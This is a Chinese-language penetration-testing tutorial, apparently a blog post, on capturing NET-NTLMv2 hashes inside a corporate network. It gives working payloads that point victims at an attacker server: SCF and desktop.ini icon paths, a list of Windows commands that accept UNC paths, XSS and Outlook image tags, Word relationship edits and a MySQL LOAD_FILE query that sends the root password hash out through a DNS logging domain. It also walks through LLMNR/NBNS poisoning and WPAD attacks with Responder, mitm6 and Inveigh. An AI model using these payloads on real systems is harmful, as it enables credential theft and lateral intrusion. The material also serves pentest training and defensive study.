WEB安全--内网渗透--捕获NET-NTLMv2 Hash

一、前言

在LM&NTLM基础篇中我们了解到了NTLM协议的流程与加密的方式,以及具体的在type3的response中Net-ntlm hash v2的生成方式。

思考:

如果我们入侵的服务器中有域管理员的登录后的密码缓存,那就能用工具(mimikatz)抓取服务器中的域管理员密码hash,从而随意登录内网中的设备;不过这种况是极其罕见的。

如果我们入侵到内网中且没有其他设备的密码,那我们该如何横向渗透呢?

这时就可以通过一些方式捕获type3中的Net-ntlm hash进行利用,那我们该怎样获取Net-ntlm hash呢?

二、捕获NET-NTLMv2 Hash的手段

2.0、开启监听

我们用工具在公网开启一个监听,目的是实时捕获内网服务器中发来的type3 Response信息中的NET-NTLMv2 Hash

捕获工具:Responder(具体参数用法以后单独介绍)

开启监听:

有了监听,我们就需要让服务器发起访问请求,基于NTLM协议发起协商(最关键的是客户端发送的type3数据包内容),然后Responder捕获NET-NTLMv2 Hash。

2.1、图标头像操作

2.1.1、修改文件图标路径(Windows_version<=7)

文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到

将图标路径改成UNC路径,指向我们的服务器

当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash:

不过这种手段在win7后就失去作用了,所以知道原理就行了。

2.1.2、scf文件(Windows_version<=7)

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。以下是scf后缀的文件的格式

复制代码
[Shell]
Command=2
IconFile=\\172.16.100.1\scf\test.ico
[Taskbar]
Command=ToggleDesktop

新建test.scf,写入内容,放在一个文件夹底下,当用户访问该文件夹的时候,我们就会获得用户的net-ntlm hash。

2.1.3、用户头像(Windows_version=10/2016/2019)

在更改账户图片处。

用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash,这个可以用来提权。

2.2、cmd命令执行

这个比较鸡肋,都能执行命令了,干啥不行呢。但作为一种场景,也说明下。说不定有些限制的命令注入就是支持传进UNC路径呢。我平时在测试的时候一般都是用 dir \\ip\xxx来做测试的,很多cmd命令是支持传进UNC路径的,执行的时候我们就可以拿到用户的net-ntlm hash了。

复制代码
> net.exe use \hostshare 
> attrib.exe \hostshare  
> bcdboot.exe \hostshare  
> bdeunlock.exe \hostshare  
> cacls.exe \hostshare  
> certreq.exe \hostshare #(noisy, pops an error dialog) 
> certutil.exe \hostshare  
> cipher.exe \hostshare  
> ClipUp.exe -l \hostshare  
> cmdl32.exe \hostshare  
> cmstp.exe /s \hostshare  
> colorcpl.exe \hostshare #(noisy, pops an error dialog)  
> comp.exe /N=0 \hostshare \hostshare  
> compact.exe \hostshare  
> control.exe \hostshare  
> convertvhd.exe -source \hostshare -destination \hostshare  
> Defrag.exe \hostshare  
> diskperf.exe \hostshare  
> dispdiag.exe -out \hostshare  
> doskey.exe /MACROFILE=\hostshare  
> esentutl.exe /k \hostshare  
> expand.exe \hostshare  
> extrac32.exe \hostshare  
> FileHistory.exe \hostshare #(noisy, pops a gui)  
> findstr.exe * \hostshare  
> fontview.exe \hostshare #(noisy, pops an error dialog)  
> fvenotify.exe \hostshare #(noisy, pops an access denied error)  
> FXSCOVER.exe \hostshare #(noisy, pops GUI)  
> hwrcomp.exe -check \hostshare  
> hwrreg.exe \hostshare  
> icacls.exe \hostshare   
> licensingdiag.exe -cab \hostshare  
> lodctr.exe \hostshare  
> lpksetup.exe /p \hostshare /s  
> makecab.exe \hostshare  
> msiexec.exe /update \hostshare /quiet  
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)  
> mspaint.exe \hostshare #(noisy, invalid path to png error)  
> msra.exe /openfile \hostshare #(noisy, error)  
> mstsc.exe \hostshare #(noisy, error)  
> netcfg.exe -l \hostshare -c p -i foo

示例(Win11):

2.3、XSS

了解XSS的都知道,当用户访问浏览器的XSS脚本页面时,XSS就会执行。

利用xss构造

复制代码
<script src="\\192.168.114.3\xss">

2.4、outlook

发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload

复制代码
<img src="\\192.168.114.3\outlook">

当收件人打开outlook查看邮件的时候,就会触发访问我们的kali服务器,获取到用户的NET-NTLMv2 Hash。

2.5、PDF

PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生的脚本https://github.com/3gstudent/Worse-PDF

我们就能收到net-ntlmv2 hash

不过只能用Adobe打开才能生效

2.6、office

首先新建一个word,贴近一张图片

然后用7zip 打开(没测试其他软件,可自行测试)

进入word\_rels,修改document.xml.rels,可以看到Target参数本来是本地的路径,修改为UNC路径,然后加上TargetMode="External":

当打开word的时候,我们就拿到net-ntlm hash

2.7、MySQL

我们知道在MySQL注入的话,是可以通过带外通信把数据带出来。语法如下:

复制代码
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user 
WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

需要具备load_file权限,且没有secure_file_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)

仔细观察我们会发现LOAD_FILE是支持UNC路劲

我们构造

复制代码
select load_file('\\\\172.16.100.1\\mysql');

拿到net-ntlm hash

2.8、NBNS&LLMNR

windows 解析域名的顺序是

  • Hosts

  • DNS (cache / server)

  • LLMNR

  • NBNS

如果Hosts文件里面不存在,就会使用DNS解析。如果DNS解析失败,就会使用LLMNR解析,如果LLMNR解析失败,就会使用NBNS解析

参考ARP欺骗,也就是说当受害者访问一个不存在的域名的时候如aaaaaaa;受害者在Hosts 文件里面没有找到,通过DNS解析失败,就会通过LLMNR协议进行广播;这个时候攻击者就发个响应包 aaaaaaa对应的IP是x.x.x.x(这个ip是攻击者IP)进行LLMNR投毒。

这一步可以通过Responder 实现:

NBNS同理:

2.9、浏览器WPAD

wpad (Web Proxy Auto-Discovery Protocol)

通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。

默认自动检测设置是开启的。

PAC文件的格式如下:

复制代码
function FindProxyForURL(url, host) {
   if (url== 'http://www.baidu.com/') return 'DIRECT';
   if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
   if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
   return 'DIRECT';
}

如下是流程图:

下列对WPAD的利用:

2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)

用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。

流程:

①受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

②受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash

③然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141

复制代码
function FindProxyForURL(url, host){
  if ((host == "localhost") 
      || shExpMatch(host, "localhost.*") 
      ||(host == "127.0.0.1") 
      || isPlainHostName(host)) return "DIRECT"; 
  if (dnsDomainIs(host, "RespProxySrv")
      ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
                return "DIRECT"; 
  return 'PROXY ISAProxySrv:3141; DIRECT';}

④受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。

微软补丁:

1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。

2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

2.9.2、mitm6配合DHCPv6(绕过补丁)

mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量

当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置

这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址,让受害者认为mitm6是DHCPv6服务器

这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器,它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的,因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。

2.9.3、Inveigh配合DHCPv6

①启一个公网Responder(10.10.10.1)监听,把下面参数置为OFF

FTP server [OFF]

IMAP server [OFF]

POP3 server [OFF]

SMTP server [OFF]

②使用Inveigh.exe在内网投毒,指定公网ip(10.10.10.1),在内网服务器中运行

Inveigh.exe -DHCPv6 Y -SpoofIP 启动进程

③这时当受害用户重启并登录该被入侵的服务器,就会进行DHCPv6的广播,然后Inveigh.exe进程就会伪装成DHCPv6服务器与被入侵的建立联系

④这时,当用户使用浏览器访问任意网页时,浏览器(开启WPAD)就会寻找代理服务器,这时被入侵的服务器就会被Inveigh.exe引导到Responder(10.10.10.1)

-------------下面可以参考[2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)]-------------------

⑤受害者通过llmnr询问wpad主机ip在哪里(http://wpad主机ip/wpad.dat),Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

⑥受害者访问WPAD/wpad.dat

⑦然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141

javascript 复制代码
function FindProxyForURL(url, host){
  if ((host == "localhost") 
      || shExpMatch(host, "localhost.*") 
      ||(host == "127.0.0.1") 
      || isPlainHostName(host)) return "DIRECT"; 
  if (dnsDomainIs(host, "RespProxySrv")
      ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
                return "DIRECT"; 
  return 'PROXY ISAProxySrv:3141; DIRECT';}

⑧受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。

相关推荐
有代理ip20 小时前
网络隐私防护指南:代理服务与换 IP 工具的科学结合
网络·tcp/ip·web安全
skilllite作者1 天前
AI 自进化系统架构详解 (一):重新定义 L1-L3 等级,揭秘 OpenClaw 背后的安全边界
人工智能·安全·系统架构
夏冰加密软件1 天前
【实测】文件加密软件解除保护的2种方法(以超级加密3000为例)
windows·安全
a1117761 天前
网络安全检查表 docx 附文件
网络·安全·web安全
上海云盾商务经理杨杨1 天前
DDoS攻击日志分析与攻击源定位实战
安全·ddos
dashizhi20151 天前
电脑禁用U口、禁用USB端口、屏蔽移动存储设备使用的方法
windows·安全·电脑
东北甜妹1 天前
Redis 知识总结
运维·nginx·安全
夫子樊1 天前
资损防控与安全生产
安全
星幻元宇VR1 天前
VR星际行走平台|沉浸式科普教育与未来体验的新入口
科技·学习·安全·生活·vr
feixiangyuncai1 天前
数字生态系统赋能供水安全与可持续发展
安全·智慧城市